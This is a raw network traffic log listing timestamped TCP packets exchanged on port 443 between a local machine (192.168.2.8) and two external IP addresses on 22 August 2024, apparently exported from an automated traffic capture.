Aug 22, 2024 13:10:27.813812971 CEST	443	49720	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.813828945 CEST	49720	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.813859940 CEST	49720	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.814213991 CEST	49720	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.814228058 CEST	443	49720	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.976378918 CEST	443	49718	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.976536989 CEST	49718	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.976561069 CEST	443	49718	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.976625919 CEST	49718	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.976741076 CEST	49718	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.976773024 CEST	443	49718	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.976826906 CEST	49718	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.977401972 CEST	49724	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.977438927 CEST	443	49724	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:27.977511883 CEST	49723	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.977547884 CEST	443	49723	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.977631092 CEST	49724	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.977660894 CEST	49723	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.977937937 CEST	49724	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:27.977940083 CEST	49723	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:27.977948904 CEST	443	49723	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:27.977958918 CEST	443	49724	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.372304916 CEST	443	49721	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:28.372399092 CEST	49721	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:28.372952938 CEST	49721	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:28.372961998 CEST	443	49721	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:28.375828028 CEST	49721	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:28.375833988 CEST	443	49721	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:28.437850952 CEST	443	49722	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.438158035 CEST	49722	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.438502073 CEST	49722	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.438515902 CEST	443	49722	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.438766956 CEST	49722	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.438771963 CEST	443	49722	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.615891933 CEST	443	49724	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.615955114 CEST	49724	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.617057085 CEST	49724	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.617062092 CEST	443	49724	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.617171049 CEST	49724	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.617176056 CEST	443	49724	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.643167019 CEST	443	49723	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:28.643228054 CEST	49723	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:28.650659084 CEST	49723	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:28.650665998 CEST	443	49723	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:28.653202057 CEST	49723	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:28.653208017 CEST	443	49723	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:28.768796921 CEST	443	49721	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:28.768948078 CEST	49721	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:28.768973112 CEST	443	49721	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:28.769021988 CEST	49721	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:28.769385099 CEST	443	49721	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:28.769427061 CEST	443	49721	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:28.769437075 CEST	49721	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:28.769486904 CEST	49721	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:28.776283026 CEST	49721	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:28.776295900 CEST	443	49721	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:28.778343916 CEST	49728	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:28.778383017 CEST	443	49728	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:28.778481007 CEST	49728	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:28.778769016 CEST	49728	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:28.778784037 CEST	443	49728	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:28.862459898 CEST	443	49722	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.862521887 CEST	443	49722	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.862529039 CEST	49722	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.862534046 CEST	443	49722	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.862566948 CEST	49722	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.863306046 CEST	443	49722	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.863342047 CEST	49722	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.863652945 CEST	443	49722	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.863698959 CEST	443	49722	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.863719940 CEST	49722	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.863729000 CEST	49722	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.884783030 CEST	49722	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.884800911 CEST	443	49722	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.896593094 CEST	49729	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.896620035 CEST	443	49729	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:28.896697044 CEST	49729	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.896971941 CEST	49729	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:28.896985054 CEST	443	49729	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.044123888 CEST	443	49723	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.044183969 CEST	49723	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.044195890 CEST	443	49723	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.044246912 CEST	443	49723	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.044256926 CEST	49723	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.044294119 CEST	49723	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.044404984 CEST	49723	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.044415951 CEST	443	49723	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.044925928 CEST	49731	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.044960976 CEST	443	49731	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.045156956 CEST	49731	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.045442104 CEST	49731	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.045454979 CEST	443	49731	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.052510977 CEST	443	49724	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.052563906 CEST	443	49724	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.052618980 CEST	49724	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.052629948 CEST	443	49724	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.052666903 CEST	49724	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.052675009 CEST	443	49724	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.052685022 CEST	443	49724	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.052712917 CEST	49724	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.052726030 CEST	49724	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.053374052 CEST	49724	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.053384066 CEST	443	49724	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.053771019 CEST	49732	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.053786993 CEST	443	49732	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.053843975 CEST	49732	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.054033995 CEST	49732	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.054044962 CEST	443	49732	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.427249908 CEST	443	49728	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.427308083 CEST	49728	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.429019928 CEST	49728	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.429028034 CEST	443	49728	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.431942940 CEST	49728	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.431957960 CEST	443	49728	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.533027887 CEST	443	49729	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.533087015 CEST	49729	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.542516947 CEST	49729	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.542521000 CEST	443	49729	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.544692993 CEST	49729	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.544698000 CEST	443	49729	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.689984083 CEST	443	49732	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.690042973 CEST	49732	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.690680981 CEST	49732	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.690685034 CEST	443	49732	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.691159964 CEST	49732	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.691164017 CEST	443	49732	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.812630892 CEST	443	49731	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.812711954 CEST	49731	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.813513041 CEST	49731	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.813524008 CEST	443	49731	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.815913916 CEST	49731	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.815921068 CEST	443	49731	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.819470882 CEST	443	49728	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.819520950 CEST	443	49728	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.819583893 CEST	49728	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.819583893 CEST	49728	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.819886923 CEST	49728	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.819904089 CEST	443	49728	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.820755005 CEST	49736	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.820791006 CEST	443	49736	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.820904970 CEST	49736	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.821410894 CEST	49736	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:29.821427107 CEST	443	49736	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:29.977061033 CEST	443	49729	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.977111101 CEST	443	49729	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.977123022 CEST	49729	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.977147102 CEST	443	49729	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.977161884 CEST	49729	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.977190018 CEST	49729	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.977196932 CEST	443	49729	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.977236032 CEST	49729	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.977241039 CEST	443	49729	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.977281094 CEST	49729	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.978558064 CEST	49729	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.978569031 CEST	443	49729	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.979100943 CEST	49737	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.979136944 CEST	443	49737	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:29.979363918 CEST	49737	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.979602098 CEST	49737	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:29.979617119 CEST	443	49737	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:30.144565105 CEST	443	49732	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:30.144608021 CEST	443	49732	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:30.144706964 CEST	443	49732	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:30.144726038 CEST	49732	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:30.144764900 CEST	49732	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:30.238492966 CEST	49732	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:30.238506079 CEST	443	49732	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:30.295773983 CEST	443	49731	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:30.296837091 CEST	49731	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:30.296865940 CEST	443	49731	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:30.296907902 CEST	49731	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:30.296915054 CEST	443	49731	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:30.296931028 CEST	443	49731	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:30.296948910 CEST	49731	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:30.296964884 CEST	49731	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:30.339566946 CEST	49731	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:30.339632988 CEST	49737	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:30.339634895 CEST	49736	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:30.341330051 CEST	49738	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:30.341360092 CEST	443	49738	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:30.341440916 CEST	49738	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:30.341773987 CEST	49738	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:30.341789007 CEST	443	49738	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:30.392524958 CEST	49739	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:30.392554045 CEST	443	49739	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:30.392698050 CEST	49739	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:30.393274069 CEST	49739	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:30.393287897 CEST	443	49739	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.034096956 CEST	443	49739	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.034187078 CEST	49739	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.034873009 CEST	443	49739	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.034953117 CEST	49739	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.039351940 CEST	49739	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.039362907 CEST	443	49739	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.039612055 CEST	443	49739	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.039661884 CEST	49739	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.040195942 CEST	49739	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.071917057 CEST	443	49738	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.071985006 CEST	49738	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.072453976 CEST	49738	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.072463989 CEST	443	49738	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.075234890 CEST	49738	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.075241089 CEST	443	49738	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.084513903 CEST	443	49739	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.414673090 CEST	443	49739	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.414738894 CEST	443	49739	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.414762974 CEST	49739	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.414793015 CEST	49739	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.415031910 CEST	49739	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.415059090 CEST	443	49739	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.415777922 CEST	49741	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.415795088 CEST	49742	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:31.415805101 CEST	443	49741	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.415833950 CEST	443	49742	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:31.415865898 CEST	49741	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.415961027 CEST	49742	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:31.416230917 CEST	49742	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:31.416244030 CEST	443	49742	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:31.416277885 CEST	49741	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.416297913 CEST	443	49741	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.457523108 CEST	443	49738	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.457592964 CEST	49738	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.457607031 CEST	443	49738	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.457649946 CEST	49738	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.457864046 CEST	49738	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.457904100 CEST	443	49738	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.457966089 CEST	49738	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.458506107 CEST	49743	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.458539963 CEST	443	49743	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:31.458578110 CEST	49744	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:31.458601952 CEST	443	49744	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:31.458606005 CEST	49743	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.458684921 CEST	49744	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:31.458920956 CEST	49744	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:31.458934069 CEST	443	49744	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:31.459033966 CEST	49743	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:31.459049940 CEST	443	49743	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.072841883 CEST	443	49741	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.072942019 CEST	49741	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.073714972 CEST	49741	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.073719978 CEST	443	49741	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.084387064 CEST	49741	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.084393024 CEST	443	49741	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.087743044 CEST	443	49742	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.087816000 CEST	49742	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.091325998 CEST	49742	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.091335058 CEST	443	49742	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.091715097 CEST	443	49742	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.091777086 CEST	49742	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.092149019 CEST	49742	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.136506081 CEST	443	49742	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.157887936 CEST	443	49744	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.157949924 CEST	49744	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.160036087 CEST	49744	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.160046101 CEST	443	49744	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.160306931 CEST	443	49744	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.160386086 CEST	49744	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.160806894 CEST	49744	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.160820007 CEST	443	49743	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.160892963 CEST	49743	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.161370039 CEST	49743	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.161377907 CEST	443	49743	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.163513899 CEST	49743	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.163520098 CEST	443	49743	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.204505920 CEST	443	49744	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.456779957 CEST	443	49741	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.456881046 CEST	49741	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.456897020 CEST	443	49741	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.456969976 CEST	49741	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.457051992 CEST	49741	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.457093000 CEST	443	49741	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.457237959 CEST	49741	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.457680941 CEST	49749	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.457722902 CEST	443	49749	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.457829952 CEST	49749	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.458072901 CEST	49749	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.458089113 CEST	443	49749	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.550564051 CEST	443	49743	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.550801992 CEST	49743	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.550821066 CEST	443	49743	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.551035881 CEST	49743	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.551975965 CEST	443	49743	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.552016020 CEST	443	49743	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.552041054 CEST	49743	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.552059889 CEST	49743	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.582041025 CEST	49743	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.582062960 CEST	443	49743	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.582828999 CEST	49750	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.582871914 CEST	443	49750	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.583484888 CEST	49750	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.583898067 CEST	49750	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:32.583914042 CEST	443	49750	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:32.660264015 CEST	443	49742	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.660341978 CEST	443	49742	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.660347939 CEST	49742	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.660365105 CEST	443	49742	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.660409927 CEST	49742	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.660415888 CEST	443	49742	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.660505056 CEST	49742	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.660862923 CEST	443	49742	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.660913944 CEST	49742	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.660933971 CEST	443	49742	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.661524057 CEST	49742	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.661530018 CEST	443	49742	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.661549091 CEST	49742	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.662095070 CEST	49751	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.662134886 CEST	443	49751	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.662209034 CEST	49751	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.662631035 CEST	49751	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.662643909 CEST	443	49751	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.813304901 CEST	443	49744	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.813338995 CEST	443	49744	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.813416958 CEST	49744	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.813435078 CEST	443	49744	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.813563108 CEST	49744	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.813803911 CEST	443	49744	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.813846111 CEST	443	49744	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.813909054 CEST	49744	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.820066929 CEST	49744	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.820080042 CEST	443	49744	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.821005106 CEST	49753	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.821023941 CEST	443	49753	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:32.821094990 CEST	49753	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.821320057 CEST	49753	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:32.821331978 CEST	443	49753	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:33.107573986 CEST	443	49749	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.107641935 CEST	49749	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.108342886 CEST	443	49749	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.108386040 CEST	49749	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.159148932 CEST	49749	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:33.159173965 CEST	443	49749	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.159495115 CEST	443	49749	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:33.159540892 CEST	49749	443	192.168.2.8	216.58.206.46
